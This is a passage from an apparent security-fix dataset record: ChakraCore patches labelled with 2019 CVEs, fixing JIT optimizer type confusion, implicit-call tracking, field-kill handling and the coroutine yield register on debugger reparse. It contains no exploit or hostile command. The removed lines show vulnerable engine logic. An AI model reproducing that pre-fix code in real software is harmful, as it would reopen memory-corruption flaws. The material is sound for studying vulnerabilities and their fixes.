         ThreadContext* threadContext = this->scriptContext->GetThreadContext();
@@ -201,6 +206,7 @@ namespace Js
         tempAllocator = threadContext->GetTemporaryAllocator(_u("debuggerAlloc"));
 
         utf8SourceInfoList = JsUtil::List<Js::Utf8SourceInfo *, Recycler, false, Js::CopyRemovePolicy, RecyclerPointerComparer>::New(this->scriptContext->GetRecycler());
+        yieldFunctions = Anew(tempAllocator->GetAllocator(), FunctionStartToYieldRegister, tempAllocator->GetAllocator());
 
         this->MapUTF8SourceInfoUntil([&](Js::Utf8SourceInfo * sourceInfo) -> bool
         {
@@ -276,6 +282,23 @@ namespace Js
                 this->hostDebugContext->SetThreadDescription(sourceInfo->GetSourceContextInfo()->url); // the HRESULT is omitted.
             }
 
+            if (shouldReparseFunctions)
+            {
+                yieldFunctions->Clear();
+                BEGIN_TRANSLATE_OOM_TO_HRESULT_NESTED
+                {
+                    sourceInfo->MapFunction([&](Js::FunctionBody *const pFuncBody)
+                    {
+                        if (pFuncBody->IsCoroutine() && pFuncBody->GetYieldRegister() != Js::Constants::NoRegister)
+                        {
+                            yieldFunctions->Add(pFuncBody->StartInDocument(), pFuncBody->GetYieldRegister());
+                        }
+                    });
+                }
+                END_TRANSLATE_OOM_TO_HRESULT(hr);
+                DEBUGGER_ATTACHDETACH_FATAL_ERROR_IF_FAILED(hr);
+            }
+
             bool fHasDoneSourceRundown = false;
             for (int i = 0; i < pFunctionsToRegister->Count(); i++)
             {
@@ -326,8 +349,17 @@ namespace Js
 
             if (shouldReparseFunctions)
             {
-                sourceInfo->MapFunction([](Js::FunctionBody *const pFuncBody)
+                sourceInfo->MapFunction([&](Js::FunctionBody *const pFuncBody)
                 {
+                    if (pFuncBody->IsCoroutine())
+                    {
+                        RegSlot oldYieldRegister = Constants::NoRegister;
+                        if (yieldFunctions->TryGetValue(pFuncBody->StartInDocument(), &oldYieldRegister))
+                        {
+                            AssertOrFailFast(pFuncBody->GetYieldRegister() == oldYieldRegister);
+                        }
+                    }
+
                     if (pFuncBody->IsFunctionParsed())
                     {
                         pFuncBody->ReinitializeExecutionModeAndLimits();", "url": "https://github.com/chakra-core/ChakraCore/commit/972584709518380a4a3c2410b5fa151f6f0239b1.patch" }, { "commit_message": "[PATCH 01/13] [CVE-2019-0922] Type confusion in Edge - Individual lib/Backend/GlobOptArrays.cpp | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-)", "patch_text_b64": "From a9ab1aae31078e80593b9227db11d316c2239ef3 Mon Sep 17 00:00:00 2001
From: Meghana Gupta <megupta@microsoft.com>
Date: Fri, 12 Apr 2019 16:15:50 -0700
Subject: [PATCH 01/13] [CVE-2019-0922] Type confusion in Edge - Individual

---
 lib/Backend/GlobOptArrays.cpp | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/lib/Backend/GlobOptArrays.cpp b/lib/Backend/GlobOptArrays.cpp
index 135fcf5c108..9ac28c59c12 100644
--- a/lib/Backend/GlobOptArrays.cpp
+++ b/lib/Backend/GlobOptArrays.cpp
@@ -1736,7 +1736,14 @@ void GlobOpt::ArraySrcOpt::Optimize()
     {
         if (newBaseValueType != baseValueType)
         {
-            UpdateValue(nullptr, nullptr, nullptr);
+            if (globOpt->IsSafeToTransferInPrePass(baseOpnd, baseValue))
+            {
+                UpdateValue(nullptr, nullptr, nullptr);
+            }
+            else if (globOpt->IsOperationThatLikelyKillsJsArraysWithNoMissingValues(instr) && baseValueInfo->HasNoMissingValues())
+            {
+                globOpt->ChangeValueType(nullptr, baseValue, baseValueInfo->Type().SetHasNoMissingValues(false), true);
+            }
         }
 
         // For javascript arrays and objects with javascript arrays:

From 6615113a09c0618ecc10e5680ffb978bf665641f Mon Sep 17 00:00:00 2001
From: Paul Leathers <pleath@microsoft.com>
Date: Tue, 16 Apr 2019 15:24:32 -0700
Subject: [PATCH 02/13] [CVE-2019-0924]

---
 lib/Backend/BackwardPass.cpp   |  3 +--
 lib/Backend/GlobOptBailOut.cpp |  8 ++++++
 lib/Backend/Inline.cpp         |  2 ++
 lib/Backend/Lower.cpp          | 46 +++++++++++++++++++++++-----------
 lib/Runtime/ByteCode/OpCodes.h |  4 +--
 5 files changed, 45 insertions(+), 18 deletions(-)

diff --git a/lib/Backend/BackwardPass.cpp b/lib/Backend/BackwardPass.cpp
index d94e79fab7f..be4e42d4be4 100644
--- a/lib/Backend/BackwardPass.cpp
+++ b/lib/Backend/BackwardPass.cpp
@@ -4677,10 +4677,9 @@ BackwardPass::ProcessNewScObject(IR::Instr* instr)
         return;
     }
 
-    if (instr->HasBailOutInfo())
+    if (instr->HasBailOutInfo() && (instr->GetBailOutKind() & ~IR::BailOutKindBits) == IR::BailOutFailedCtorGuardCheck)
     {
         Assert(instr->IsProfiledInstr());
-        Assert(instr->GetBailOutKind() == IR::BailOutFailedCtorGuardCheck);
         Assert(instr->GetDst()->IsRegOpnd());
 
         BasicBlock * block = this->currentBlock;
diff --git a/lib/Backend/GlobOptBailOut.cpp b/lib/Backend/GlobOptBailOut.cpp
index c27a7af7863..f168545b3b2 100644
--- a/lib/Backend/GlobOptBailOut.cpp
+++ b/lib/Backend/GlobOptBailOut.cpp
@@ -1337,6 +1337,14 @@ GlobOpt::MayNeedBailOnImplicitCall(IR::Instr const * instr, Value const * src1Va
             );
     }
 
+    case Js::OpCode::NewScObjectNoCtor:
+        if (instr->HasBailOutInfo() && (instr->GetBailOutKind() & ~IR::BailOutKindBits) == IR::BailOutFailedCtorGuardCheck)
+        {
+            // No helper call with this bailout.
+            return false;
+        }
+        break;
+
     default:
         break;
     }
diff --git a/lib/Backend/Inline.cpp b/lib/Backend/Inline.cpp
index b185ad83aea..5703333c78c 100644
--- a/lib/Backend/Inline.cpp
+++ b/lib/Backend/Inline.cpp
@@ -4204,6 +4204,8 @@ Inline::SplitConstructorCallCommon(
     {
         createObjInstr->SetByteCodeOffset(newObjInstr);
         createObjInstr->GetSrc1()->SetIsJITOptimizedReg(true);
+        // We're splitting a single byte code, so the interpreter has to resume from the beginning if we bail out.
+        createObjInstr->forcePreOpBailOutIfNeeded = true;
         newObjInstr->InsertBefore(createObjInstr);
 
         createObjDst->SetValueType(ValueType::GetObject(ObjectType::UninitializedObject));
diff --git a/lib/Backend/Lower.cpp b/lib/Backend/Lower.cpp
index a5d19c4021e..52b5be80238 100644
--- a/lib/Backend/Lower.cpp
+++ b/lib/Backend/Lower.cpp
@@ -4601,18 +4601,40 @@ Lowerer::LowerNewScObject(IR::Instr *newObjInstr, bool callCtor, bool hasArgs, b
         {
             Assert(!newObjDst->CanStoreTemp());
             // createObjDst = NewScObject...(ctorOpnd)
-            newScHelper = !callCtor ?
-                (isBaseClassConstructorNewScObject ?
-                    (hasArgs ? IR::HelperNewScObjectNoCtorFull : IR::HelperNewScObjectNoArgNoCtorFull) :
-                    (hasArgs ? IR::HelperNewScObjectNoCtor : IR::HelperNewScObjectNoArgNoCtor)) :
-                (hasArgs || usedFixedCtorCache ? IR::HelperNewScObjectNoCtor : IR::HelperNewScObjectNoArg);
 
             LoadScriptContext(newObjInstr);
-            m_lowererMD.LoadHelperArgument(newObjInstr, newObjInstr->GetSrc1());
 
-            newScObjCall = IR::Instr::New(Js::OpCode::Call, createObjDst, IR::HelperCallOpnd::New(newScHelper, func), func);
-            newObjInstr->InsertBefore(newScObjCall);
-            m_lowererMD.LowerCall(newScObjCall, 0);
+            if (callCtor)
+            {
+                newScHelper = (hasArgs || usedFixedCtorCache ? IR::HelperNewScObjectNoCtor : IR::HelperNewScObjectNoArg);
+
+                m_lowererMD.LoadHelperArgument(newObjInstr, newObjInstr->GetSrc1());
+
+                newScObjCall = IR::Instr::New(Js::OpCode::Call, createObjDst, IR::HelperCallOpnd::New(newScHelper, func), func);
+                newObjInstr->InsertBefore(newScObjCall);
+                m_lowererMD.LowerCall(newScObjCall, 0);
+            }
+            else
+            {
+                newScHelper = 
+                    (isBaseClassConstructorNewScObject ?
+                        (hasArgs ? IR::HelperNewScObjectNoCtorFull : IR::HelperNewScObjectNoArgNoCtorFull) :
+                        (hasArgs ? IR::HelperNewScObjectNoCtor : IR::HelperNewScObjectNoArgNoCtor));
+
+                // Branch around the helper call to execute the inlined ctor.
+                Assert(callCtorLabel != nullptr);
+                newObjInstr->InsertAfter(callCtorLabel);
+
+                // Change the NewScObject* to a helper call on the spot. This generates implicit call bailout for us if we need one.
+                m_lowererMD.LoadHelperArgument(newObjInstr, newObjInstr->UnlinkSrc1());
+                m_lowererMD.ChangeToHelperCall(newObjInstr, newScHelper);
+
+                // Then we're done.
+                Assert(createObjDst == newObjDst);
+
+                // Return the first instruction above the region we've just lowered.
+                return RemoveLoweredRegionStartMarker(startMarkerInstr);                    
+            }
         }
     }
 
@@ -4857,9 +4879,6 @@ bool Lowerer::TryLowerNewScObjectWithFixedCtorCache(IR::Instr* newObjInstr, IR::
     skipNewScObj = false;
     returnNewScObj = false;
 
-    AssertMsg(!PHASE_OFF(Js::ObjTypeSpecNewObjPhase, this->m_func) || !newObjInstr->HasBailOutInfo(),
-        "Why do we have bailout on NewScObject when ObjTypeSpecNewObj is off?");
-
     if (PHASE_OFF(Js::FixedNewObjPhase, newObjInstr->m_func) && PHASE_OFF(Js::ObjTypeSpecNewObjPhase, this->m_func))
     {
         return false;
@@ -4867,11 +4886,10 @@ bool Lowerer::TryLowerNewScObjectWithFixedCtorCache(IR::Instr* newObjInstr, IR::
 
     JITTimeConstructorCache * ctorCache;
 
-    if (newObjInstr->HasBailOutInfo())
+    if (newObjInstr->HasBailOutInfo() && (newObjInstr->GetBailOutKind() & ~IR::BailOutKindBits) == IR::BailOutFailedCtorGuardCheck)
     {
         Assert(newObjInstr->IsNewScObjectInstr());
         Assert(newObjInstr->IsProfiledInstr());
-        Assert(newObjInstr->GetBailOutKind() == IR::BailOutFailedCtorGuardCheck);
 
         emitBailOut = true;
 
diff --git a/lib/Runtime/ByteCode/OpCodes.h b/lib/Runtime/ByteCode/OpCodes.h
index cb9d1ed9552..d75019d0d04 100755
--- a/lib/Runtime/ByteCode/OpCodes.h
+++ b/lib/Runtime/ByteCode/OpCodes.h
@@ -577,8 +577,8 @@ MACRO_EXTEND_WMS_AND_PROFILED(NewScObjectSpread,   CallIExtended, OpSideEffect|O
 MACRO_WMS_PROFILED2(    NewScObjArray,      CallI,          OpSideEffect|OpUseAllFields|OpCallInstr)        // Create new ScriptObject instance
 MACRO_WMS_PROFILED2(    NewScObjArraySpread, CallIExtended, OpSideEffect|OpUseAllFields|OpCallInstr)        // Create new ScriptObject instance
 MACRO(                  NewScObject_A,      Auxiliary,      OpSideEffect|OpUseAllFields)                    // Create new ScriptObject instance passing only constants
-MACRO_WMS(              NewScObjectNoCtorFull, Reg2,        OpTempObjectCanStoreTemp)                       // Create new object that will be used for the 'this' binding in a base class constructor
-MACRO_BACKEND_ONLY(     NewScObjectNoCtor,  Empty,          OpTempObjectCanStoreTemp)                       // Create new object that will be passed into a constructor
+MACRO_WMS(              NewScObjectNoCtorFull, Reg2,        OpTempObjectCanStoreTemp|OpHasImplicitCall)     // Create new object that will be used for the 'this' binding in a base class constructor
+MACRO_BACKEND_ONLY(     NewScObjectNoCtor,  Empty,          OpTempObjectCanStoreTemp|OpHasImplicitCall)     // Create new object that will be passed into a constructor
 MACRO_BACKEND_ONLY(     GetNewScObject,     Empty,          OpTempObjectTransfer)                           // Determine which object to finally use as the result of NewScObject (object passed into constructor as 'this', or object returned by constructor)
 MACRO_BACKEND_ONLY(     UpdateNewScObjectCache, Empty,      None)                                           // Update the cache used for NewScObject
 MACRO_WMS(              NewScObjectSimple,  Reg1,           OpTempObjectCanStoreTemp)

From 32ca10f3955f2a3ca56c6671c721b1264eca06b8 Mon Sep 17 00:00:00 2001
From: Paul Leathers <pleath@microsoft.com>
Date: Tue, 16 Apr 2019 17:19:00 -0700
Subject: [PATCH 03/13] [CVE-2019-0925]

---
 lib/Backend/GlobOpt.cpp       | 1 +
 lib/Backend/GlobOptFields.cpp | 1 +
 2 files changed, 2 insertions(+)

diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp
index 76af5504773..661c72dcb0b 100644
--- a/lib/Backend/GlobOpt.cpp
+++ b/lib/Backend/GlobOpt.cpp
@@ -13462,6 +13462,7 @@ GlobOpt::CheckJsArrayKills(IR::Instr *const instr)
             break;
 
         case Js::OpCode::NewScObjectNoCtor:
+        case Js::OpCode::NewScObjectNoCtorFull:
             if(doNativeArrayTypeSpec)
             {
                 // Class/object construction can make something a prototype
diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index dbddb245921..c355563523d 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -492,6 +492,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
     case Js::OpCode::InitClass:
     case Js::OpCode::InitProto:
     case Js::OpCode::NewScObjectNoCtor:
+    case Js::OpCode::NewScObjectNoCtorFull:
         if (inGlobOpt)
         {
             // Opcodes that make an object into a prototype may break object-header-inlining and final type opt.

From a2deba5e1850782014a2a34678464b251e448337 Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Wed, 17 Apr 2019 09:51:46 -0700
Subject: [PATCH 04/13] [CVE-2019-0911]

---
 lib/Runtime/Library/ES5Array.cpp        | 4 ++++
 lib/Runtime/Library/JavascriptArray.cpp | 3 +++
 2 files changed, 7 insertions(+)

diff --git a/lib/Runtime/Library/ES5Array.cpp b/lib/Runtime/Library/ES5Array.cpp
index 67351df1b84..fa978be3af7 100644
--- a/lib/Runtime/Library/ES5Array.cpp
+++ b/lib/Runtime/Library/ES5Array.cpp
@@ -148,6 +148,10 @@ namespace Js
             {
                 JavascriptError::ThrowRangeError(scriptContext, JSERR_ArrayLengthAssignIncorrect);
             }
+
+            // Conversion can change the type (e.g. from String), invalidating assumptions made by the JIT
+            scriptContext->GetThreadContext()->AddImplicitCallFlags(ImplicitCall_Accessor);
+
             return newLen;
         }
     }
diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a762a4d9cbb..e05f2313551 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -2930,6 +2930,9 @@ using namespace Js;
         double dblValue = JavascriptConversion::ToNumber(newLength, scriptContext);
         if (dblValue == uintValue)
         {
+            // Conversion can change the type (e.g. from String), invalidating assumptions made by the JIT
+            scriptContext->GetThreadContext()->AddImplicitCallFlags(ImplicitCall_Accessor);
+
             this->SetLength(uintValue);
         }
         else

From 936a5af1c07e0fdec9aab85c05339dabe4aaeeb1 Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Wed, 17 Apr 2019 10:18:03 -0700
Subject: [PATCH 05/13] [CVE-2019-0912]

---
 lib/Backend/GlobOptFields.cpp | 31 ++++++++++++++++++++++++-------
 1 file changed, 24 insertions(+), 7 deletions(-)

diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index c355563523d..2eff8b7c61f 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -415,11 +415,19 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
 
     case Js::OpCode::InlineArrayPush:
     case Js::OpCode::InlineArrayPop:
-        KillLiveFields(this->lengthEquivBv, bv);
-        if (inGlobOpt)
+        if(instr->m_func->GetThisOrParentInlinerHasArguments())
         {
-            // Deleting an item, or pushing a property to a non-array, may change object layout
-            KillAllObjectTypes(bv);
+            this->KillAllFields(bv);
+            this->SetAnyPropertyMayBeWrittenTo();
+        }
+        else
+        {
+            KillLiveFields(this->lengthEquivBv, bv);
+            if (inGlobOpt)
+            {
+                // Deleting an item, or pushing a property to a non-array, may change object layout
+                KillAllObjectTypes(bv);
+            }
         }
         break;
 
@@ -444,14 +452,23 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
                 // Kill length field for built-ins that can update it.
                 if (nullptr != this->lengthEquivBv)
                 {
-                    KillLiveFields(this->lengthEquivBv, bv);
+                    // If has arguments, all fields are killed in fall through
+                    if (!instr->m_func->GetThisOrParentInlinerHasArguments())
+                    {
+                        KillLiveFields(this->lengthEquivBv, bv);
+                    }
                 }
                 // fall through
 
             case IR::JnHelperMethod::HelperArray_Reverse:
-                // Deleting an item may change object layout
-                if (inGlobOpt)
+                if (instr->m_func->GetThisOrParentInlinerHasArguments())
+                {
+                    this->KillAllFields(bv);
+                    this->SetAnyPropertyMayBeWrittenTo();
+                }
+                else if (inGlobOpt)
                 {
+                    // Deleting an item may change object layout
                     KillAllObjectTypes(bv);
                 }
                 break;

From 87ac2b5a751710ee288fdda3fd4d9818e22387a1 Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Wed, 17 Apr 2019 10:22:17 -0700
Subject: [PATCH 06/13] [CVE-2019-0927]

---
 lib/Backend/GlobOptFields.cpp | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 2eff8b7c61f..05594e71269 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -394,6 +394,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
     case Js::OpCode::StRootFldStrict:
     case Js::OpCode::StSlot:
     case Js::OpCode::StSlotChkUndecl:
+    case Js::OpCode::StSuperFld:
         Assert(dstOpnd != nullptr);
         sym = dstOpnd->AsSymOpnd()->m_sym;
         if (inGlobOpt)

From 1a550c67b33b27675c0553152cabd09e4ffe3abf Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Wed, 17 Apr 2019 10:27:02 -0700
Subject: [PATCH 07/13] [CVE-2019-0933]

---
 lib/Backend/GlobOpt.cpp     | 1 +
 lib/Backend/GlobOptExpr.cpp | 1 +
 2 files changed, 2 insertions(+)

diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp
index 661c72dcb0b..7928a50f46d 100644
--- a/lib/Backend/GlobOpt.cpp
+++ b/lib/Backend/GlobOpt.cpp
@@ -13251,6 +13251,7 @@ GlobOpt::CheckJsArrayKills(IR::Instr *const instr)
 
         case Js::OpCode::StFld:
         case Js::OpCode::StFldStrict:
+        case Js::OpCode::StSuperFld:
         {
             Assert(instr->GetDst());
 
diff --git a/lib/Backend/GlobOptExpr.cpp b/lib/Backend/GlobOptExpr.cpp
index cc1d4ff0820..13a9bfb0f49 100644
--- a/lib/Backend/GlobOptExpr.cpp
+++ b/lib/Backend/GlobOptExpr.cpp
@@ -822,6 +822,7 @@ GlobOpt::ProcessArrayValueKills(IR::Instr *instr)
     case Js::OpCode::StRootFld:
     case Js::OpCode::StFldStrict:
     case Js::OpCode::StRootFldStrict:
+    case Js::OpCode::StSuperFld:
     case Js::OpCode::StSlot:
     case Js::OpCode::StSlotChkUndecl:
     case Js::OpCode::DeleteFld:

From d85b5025b047f10784c53c6c1dd771775d417f5f Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Wed, 17 Apr 2019 10:34:39 -0700
Subject: [PATCH 08/13] 
 [CVE-2019-0913][CVE-2019-0914][CVE-2019-0915][CVE-2019-0916]

---
 lib/Backend/GlobOpt.cpp       |  5 +++++
 lib/Backend/GlobOptExpr.cpp   |  7 +++++++
 lib/Backend/GlobOptFields.cpp | 25 +++++++++++++++++++++++++
 3 files changed, 37 insertions(+)

diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp
index 7928a50f46d..261d6b9a5ca 100644
--- a/lib/Backend/GlobOpt.cpp
+++ b/lib/Backend/GlobOpt.cpp
@@ -13199,6 +13199,7 @@ GlobOpt::CheckJsArrayKills(IR::Instr *const instr)
     const bool useValueTypes = !IsLoopPrePass(); // Source value types are not guaranteed to be correct in a loop prepass
     switch(instr->m_opcode)
     {
+        case Js::OpCode::StElemC:
         case Js::OpCode::StElemI_A:
         case Js::OpCode::StElemI_A_Strict:
         {
@@ -13249,6 +13250,10 @@ GlobOpt::CheckJsArrayKills(IR::Instr *const instr)
             }
             break;
 
+        case Js::OpCode::ConsoleScopedStFld:
+        case Js::OpCode::ConsoleScopedStFldStrict:
+        case Js::OpCode::ScopedStFld:
+        case Js::OpCode::ScopedStFldStrict:
         case Js::OpCode::StFld:
         case Js::OpCode::StFldStrict:
         case Js::OpCode::StSuperFld:
diff --git a/lib/Backend/GlobOptExpr.cpp b/lib/Backend/GlobOptExpr.cpp
index 13a9bfb0f49..d95b63779ce 100644
--- a/lib/Backend/GlobOptExpr.cpp
+++ b/lib/Backend/GlobOptExpr.cpp
@@ -814,10 +814,15 @@ GlobOpt::ProcessArrayValueKills(IR::Instr *instr)
 {
     switch (instr->m_opcode)
     {
+    case Js::OpCode::StElemC:
     case Js::OpCode::StElemI_A:
     case Js::OpCode::StElemI_A_Strict:
     case Js::OpCode::DeleteElemI_A:
     case Js::OpCode::DeleteElemIStrict_A:
+    case Js::OpCode::ConsoleScopedStFld:
+    case Js::OpCode::ConsoleScopedStFldStrict:
+    case Js::OpCode::ScopedStFld:
+    case Js::OpCode::ScopedStFldStrict:
     case Js::OpCode::StFld:
     case Js::OpCode::StRootFld:
     case Js::OpCode::StFldStrict:
@@ -829,6 +834,8 @@ GlobOpt::ProcessArrayValueKills(IR::Instr *instr)
     case Js::OpCode::DeleteRootFld:
     case Js::OpCode::DeleteFldStrict:
     case Js::OpCode::DeleteRootFldStrict:
+    case Js::OpCode::ScopedDeleteFld:
+    case Js::OpCode::ScopedDeleteFldStrict:
     case Js::OpCode::StArrViewElem:
     // These array helpers may change A.length (and A[i] could be A.length)...
     case Js::OpCode::InlineArrayPush:
diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 05594e71269..5a0e3fa8337 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -335,6 +335,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
     IR::JnHelperMethod fnHelper;
     switch(instr->m_opcode)
     {
+    case Js::OpCode::StElemC:
     case Js::OpCode::StElemI_A:
     case Js::OpCode::StElemI_A_Strict:
         Assert(dstOpnd != nullptr);
@@ -366,6 +367,8 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
     case Js::OpCode::DeleteRootFld:
     case Js::OpCode::DeleteFldStrict:
     case Js::OpCode::DeleteRootFldStrict:
+    case Js::OpCode::ScopedDeleteFld:
+    case Js::OpCode::ScopedDeleteFldStrict:
         sym = instr->GetSrc1()->AsSymOpnd()->m_sym;
         KillLiveFields(sym->AsPropertySym(), bv);
         if (inGlobOpt)
@@ -387,7 +390,29 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
             this->KillAllObjectTypes(bv);
         }
         break;
+
+    case Js::OpCode::ConsoleScopedStFld:
+    case Js::OpCode::ConsoleScopedStFldStrict:
+    case Js::OpCode::ScopedStFld:
+    case Js::OpCode::ScopedStFldStrict:
+        // This is already taken care of for FastFld opcodes
+
+        if (inGlobOpt)
+        {
+            KillObjectHeaderInlinedTypeSyms(this->currentBlock, false);
+        }
+
+        // fall through
+
     case Js::OpCode::InitFld:
+    case Js::OpCode::InitConstFld:
+    case Js::OpCode::InitLetFld:
+    case Js::OpCode::InitRootFld:
+    case Js::OpCode::InitRootConstFld:
+    case Js::OpCode::InitRootLetFld:
+#if !FLOATVAR
+    case Js::OpCode::StSlotBoxTemp:
+#endif
     case Js::OpCode::StFld:
     case Js::OpCode::StRootFld:
     case Js::OpCode::StFldStrict:

From 972584709518380a4a3c2410b5fa151f6f0239b1 Mon Sep 17 00:00:00 2001
From: Akrosh Gandhi <akroshg@microsoft.com>
Date: Wed, 17 Apr 2019 13:42:43 -0700
Subject: [PATCH 09/13] [CVE-2019-0923] Scripting Engine Memory Corruption -
 Individual

After reparsing the coroutines (generator/async functions) the register which holds yield data has changed.
This is due to scoping structure for debugger.
In order to fix that allow the same scoping numbering for coroutine as well.
Also added a failfast to see if the yield register information is the same before and after reparsing.
---
 lib/Runtime/ByteCode/ByteCodeEmitter.cpp   |  1 +
 lib/Runtime/ByteCode/ByteCodeGenerator.cpp | 12 ++++----
 lib/Runtime/Debug/DebugContext.cpp         | 34 +++++++++++++++++++++-
 3 files changed, 40 insertions(+), 7 deletions(-)

diff --git a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
index 5820ab38a8d..5c07982b92b 100644
--- a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
+++ b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
@@ -3590,6 +3590,7 @@ void ByteCodeGenerator::StartEmitFunction(ParseNodeFnc *pnodeFnc)
 #if ENABLE_TTD
                     && !funcInfo->GetParsedFunctionBody()->GetScriptContext()->GetThreadContext()->IsRuntimeInTTDMode()
 #endif
+                    && !funcInfo->byteCodeFunction->IsCoroutine()
                 );
 
                 if (funcInfo->GetHasCachedScope())
diff --git a/lib/Runtime/ByteCode/ByteCodeGenerator.cpp b/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
index 77c52fc8361..1d6c3f1d17e 100644
--- a/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
+++ b/lib/Runtime/ByteCode/ByteCodeGenerator.cpp
@@ -119,10 +119,10 @@ void EndVisitBlock(ParseNodeBlock *pnode, ByteCodeGenerator *byteCodeGenerator)
         Scope *scope = pnode->scope;
         FuncInfo *func = scope->GetFunc();
 
-        if (!byteCodeGenerator->IsInDebugMode() &&
-            scope->HasInnerScopeIndex())
+        if (!(byteCodeGenerator->IsInDebugMode() || func->byteCodeFunction->IsCoroutine())
+            && scope->HasInnerScopeIndex())
         {
-            // In debug mode, don't release the current index, as we're giving each scope a unique index, regardless
+            // In debug mode (or for the generator/async function), don't release the current index, as we're giving each scope a unique index, regardless
             // of nesting.
             Assert(scope->GetInnerScopeIndex() == func->CurrentInnerScopeIndex());
             func->ReleaseInnerScopeIndex();
@@ -155,12 +155,12 @@ void BeginVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
 void EndVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
 {
     Scope *scope = pnode->AsParseNodeCatch()->scope;
+    FuncInfo *func = scope->GetFunc();
 
-    if (scope->HasInnerScopeIndex() && !byteCodeGenerator->IsInDebugMode())
+    if (scope->HasInnerScopeIndex() && !(byteCodeGenerator->IsInDebugMode() || func->byteCodeFunction->IsCoroutine()))
     {
-        // In debug mode, don't release the current index, as we're giving each scope a unique index,
+        // In debug mode (or for the generator/async function), don't release the current index, as we're giving each scope a unique index,
         // regardless of nesting.
-        FuncInfo *func = scope->GetFunc();
 
         Assert(scope->GetInnerScopeIndex() == func->CurrentInnerScopeIndex());
         func->ReleaseInnerScopeIndex();
diff --git a/lib/Runtime/Debug/DebugContext.cpp b/lib/Runtime/Debug/DebugContext.cpp
index 7f9eb30c8a0..35379ddf6de 100644
--- a/lib/Runtime/Debug/DebugContext.cpp
+++ b/lib/Runtime/Debug/DebugContext.cpp
@@ -193,6 +193,11 @@ namespace Js
         Js::TempArenaAllocatorObject *tempAllocator = nullptr;
         JsUtil::List<Js::FunctionInfo *, Recycler>* pFunctionsToRegister = nullptr;
         JsUtil::List<Js::Utf8SourceInfo *, Recycler, false, Js::CopyRemovePolicy, RecyclerPointerComparer>* utf8SourceInfoList = nullptr;
+        typedef JsUtil::BaseDictionary<uint32, RegSlot, ArenaAllocator, PowerOf2SizePolicy> FunctionStartToYieldRegister;
+
+        // This container ensures that for Generator/Async functions the yield register is same between non-debug to debug parse.
+        // Each entry represent a function's start position (each function will have unique start position in a file) and that function yield register
+        FunctionStartToYieldRegister *yieldFunctions = nullptr;
 
         HRESULT hr = S_OK;
         ThreadContext* threadContext = this->scriptContext->GetThreadContext();
@@ -201,6 +206,7 @@ namespace Js
         tempAllocator = threadContext->GetTemporaryAllocator(_u("debuggerAlloc"));
 
         utf8SourceInfoList = JsUtil::List<Js::Utf8SourceInfo *, Recycler, false, Js::CopyRemovePolicy, RecyclerPointerComparer>::New(this->scriptContext->GetRecycler());
+        yieldFunctions = Anew(tempAllocator->GetAllocator(), FunctionStartToYieldRegister, tempAllocator->GetAllocator());
 
         this->MapUTF8SourceInfoUntil([&](Js::Utf8SourceInfo * sourceInfo) -> bool
         {
@@ -276,6 +282,23 @@ namespace Js
                 this->hostDebugContext->SetThreadDescription(sourceInfo->GetSourceContextInfo()->url); // the HRESULT is omitted.
             }
 
+            if (shouldReparseFunctions)
+            {
+                yieldFunctions->Clear();
+                BEGIN_TRANSLATE_OOM_TO_HRESULT_NESTED
+                {
+                    sourceInfo->MapFunction([&](Js::FunctionBody *const pFuncBody)
+                    {
+                        if (pFuncBody->IsCoroutine() && pFuncBody->GetYieldRegister() != Js::Constants::NoRegister)
+                        {
+                            yieldFunctions->Add(pFuncBody->StartInDocument(), pFuncBody->GetYieldRegister());
+                        }
+                    });
+                }
+                END_TRANSLATE_OOM_TO_HRESULT(hr);
+                DEBUGGER_ATTACHDETACH_FATAL_ERROR_IF_FAILED(hr);
+            }
+
             bool fHasDoneSourceRundown = false;
